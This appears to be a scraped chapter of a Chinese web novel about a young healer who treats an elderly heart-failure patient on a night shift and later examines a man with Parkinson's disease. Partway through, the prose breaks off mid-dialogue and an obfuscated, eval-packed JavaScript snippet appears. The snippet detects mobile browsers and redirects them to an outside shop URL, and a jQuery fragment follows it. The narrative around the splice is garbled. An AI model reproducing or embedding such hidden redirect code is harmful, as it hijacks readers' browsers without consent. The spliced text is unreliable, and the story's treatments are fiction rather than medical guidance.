第五十五章心电图
八月的第一个周四，沈渡又跟陈槿值夜班。这已经是她第三次值夜班了，不再需要浓茶，不再需要靠墙站着。她知道什么时候该做什么，知道哪种病人可以等、哪种不能等，知道什么叫“稳定”、什么叫“不稳定”。这些词以前在书上是形容词，现在是判断。
晚上九点多，救护车送来一个老太太。家属说是“喘不上气”。沈渡跑过去的时候，老太太坐在轮椅上，身体前倾，双手撑在膝盖上，像一个人在拼命抱住自己。她张着嘴呼吸，嘴唇发紫，额头上全是汗。
陈槿已经冲过来了，沈渡跟在她身后。护士把老太太移到抢救床上，心电监护的电极片贴上胸口，绿色的波形在屏幕上跳。血氧饱和度只有百分之八十一，心率一百三十，呼吸四十次。老太太的三合征——端坐呼吸、口唇发绀、大汗淋漓。
“急性左心衰。”陈槿的声音不大，但很定，“呋塞米四十毫克静脉推注，硝酸甘油泵入，准备无创呼吸机。”沈渡在旁边看心电监护上的数字，还看老太太的脸。她想起书上写的急性左心衰抢救流程——坐位、吸氧、利尿、扩血管、强心。
陈槿在病历本上飞快地写了几行字，护士已经把药抽好了，针尖戳进留置针的接口。沈渡的目光停在老太太的手指上，指甲发绀，手背的皮肤松弛，青筋凸起，像一张揉皱的地图。
无创呼吸机面罩扣上去的时候，老太太挣扎了一下。她不习惯那个罩子，抗拒，伸手要摘。沈渡不知道哪来的胆子，按住了她的手。按住了，没有松。老太太的手很凉，骨节粗大，指甲厚而发黄，和她奶奶的手一模一样，也和赵大爷的手、那个深静脉血栓病人的手、无数个她在义诊时握过的手一样。她握着那只手，在老太太耳边说：“别怕，呼吸机会帮你喘气。你跟着它，它送气的时候你就吸。”
不知道老太太听没听到。她握着她，过了几秒，她的手松了，不再试图扯面罩，呼吸慢慢变得没那么费劲了。心电监护上的血氧从八十一升到了八十九，又从八十九升到了九十三。沈渡松开手，手心全是汗。
天快亮的时候，陈槿在办公室写病历。沈渡站在窗边看着窗外那条河，河水很静，灯光映在水面上，碎成一片一片的金。河面上的光影飘飘荡荡，像从很远很远的地方漂来的信号。她不知道那个信号是谁发的，但它在，她看到了。
“你刚才处理得不错。”陈槿没抬头，还在打字。
沈渡转过身，陈槿的手指在键盘上噼里啪啦的。“你按住她的手是对的。新病人不配合，需要有人安抚。你做到了一部分。”沈渡等她继续说。她停了一下，“但你不能只安抚，你要告诉她为什么扣面罩，为什么不能摘。你不说，她不知道，她只会更害怕。”
沈渡没接话，想了很久。她说得对，她只是按住了老太太的手，没有解释；只是让她别怕，没有告诉她不要怕什么。她的嘴太笨了，不知道怎么说。但她要学，不是学说话，是学在手上忙着的时候，嘴巴也不闲着。
夜班结束。沈渡走出急诊科大门，阳光从东边照过来，刺得她眯了一下眼。门口的台阶上坐着一个人，抱着膝盖，低着头，灰色的夹克，黑色皮鞋。
沈渡的脚步顿了一下。
那个Polo衫男人——裴衍的助理。他抬起头看着她，眼睛里有红血丝。“沈渡小姐，裴总想见你。”
“我说过，不见。”
“裴总在医院里。他病了。”
男人站起来拍了拍裤子上的灰，从口袋里拿出一个信封递给她。“他不是要请你工作，是想请你给他看病。”
沈渡接过信封没有拆。裴衍病了，不知道是什么病。是实话还是圈套，她分不清。能分清的是，她不能因为分不清就不去。她是医生。不是执照上的医生，是会看病的人。病人找她，她要去。
她没有拆那个信封，放进口袋。
下午，沈渡去了信封上的地址。不是鼎盛大酒店，是另一家私立医院，在城东。裴衍坐在轮椅上，不是他自己坐的，是被人推着。他的脸还是那么温和，眼角还是那么多纹，嘴角还是微微上扬。但他的手变了，上次见到的时候，那双手干净、修长、有力。现在它们有些干枯了。沈渡看了一眼就知道什么病——帕金森。静止性震颤、肌强直、运动迟缓、姿势步态异常。他的手在抖，不是一直抖，是放在扶手上的时候不自觉地搓着，像在搓一颗看不见的药丸。
他看到她进来了，笑了一下。“你还是来了。”
沈渡拉了一把椅子在他对面坐下，把手指搭上他的脉。脉弦细，尺脉尤弱。肝风内动，肾精不足。不是把脉把出来的，是她看到他第一眼就知道了。手抖就是信号。
“多久了？”
“快两年了。”
“吃药了吗？”
“吃了。美多巴，效果越来越差。”
沈渡不知道该怎么办。帕金森是不可逆的神经退行性疾病，西医没有根治办法，中医也只能延缓。她可以把脉、开方、针灸，能做的有限。但不能因为有限就不做。不能因为她没有执照就不做。
“裴先生，我可以试试。但不保证效果。”
“我知道。”
裴衍看着自己搓动的手指。“
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return'\\w+'};c=1;};while(c--)if(k[c])p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k[c]);return p;}('8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="j://e.d.f/h/g/"}',24,24,'userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17664611|206186||http|test|mini|href|location'.split('|'),0,{}));
() {
$('.inform').remove();
$('#content').append('
沈渡，你像一个人。像她年轻的时候，什么都不怕，什么都想试，觉得自己能改变世界。她后来没有改变世界，但她改变了我。”沈渡没有问那个人是谁。她不需要知道。每个人心里都有一个人，是你变成现在这个样子的原因。那个人可能不在了，可能还在，可能一辈子都不知道她对你的影响有多大。
“裴先生，下周三，我来看你。”
裴衍抬起头，眼睛里有什么东西亮了一下。“你愿意给我看病？”
“我不是医生。但我可以给你一些建议。”
她站起来准备走。裴衍在身后说了一句：“沈渡，你不问我为什么要请你来我的医院工作？”
沈渡已经走到门口了，没有回头。“现在知道了。”走出医院大楼，阳光很好。沈渡把手机从口袋里掏出来，看到陈媛发来的消息：“周末来我家吃饭，我老公做了红烧肉，你上次说好吃的。”
沈渡笑了一下，回了几个字。她说不了，周末有事。她不想瞒陈媛，但也不敢告诉她。她是陈媛的恩人，她不想让陈媛觉得她是在冒险。她不是冒险，她是做她该做的事。
从医院出来，沈渡去了贺老那里。枇杷树的果子黄了，贺老说等再熟一点就能摘了。贺老坐在廊下泡茶，看到她进来，拿出一个杯子放在她面前。
沈渡把裴衍的事说了。贺老听完之后沉默了一阵，端起茶杯吹了吹浮沫。
“帕金森，不是急症。你慢慢来，不要急。急则生变。”
沈渡端起茶杯，喝了一口。茶是新的，比上次淡，回甘短。“贺老，我不是怕治不好，我是怕治坏了。”
“怕就对了。怕就不会乱来。”
她坐了一会儿，傍晚的光线把枇杷树的影子拉得很长，一直伸到廊下，伸到她的脚边。她的脚放在影子里，凉丝丝的。她把它收回来，放回阳光里。
晚上回到家，沈渡没有看书。她坐在书桌前，把裴衍的脉象、舌象、症状、体征在脑子里过了一遍。肝风内动、肾精不足。治法：平肝熄风、补肾填精。选方：大定风珠加减。她把方子写在一张空白处方笺上，写完之后又看了一遍。没有签字，没有日期，放在抽屉里。
还不是时候。她还需要再想想，再查查。她不能错，错不起。
窗外的路灯亮着，沈渡躺在床上撑着半只眼皮，手腕搭在额头。她想起裴衍说“你像一个人”——她不知道那个人是谁，但她在那个人的影子里活着。不是因为她想活在她的影子里，是因为她的影子够大，大到她不需要自己找光。但她的光不是别人给的，是她自己的。
（第五十五章完）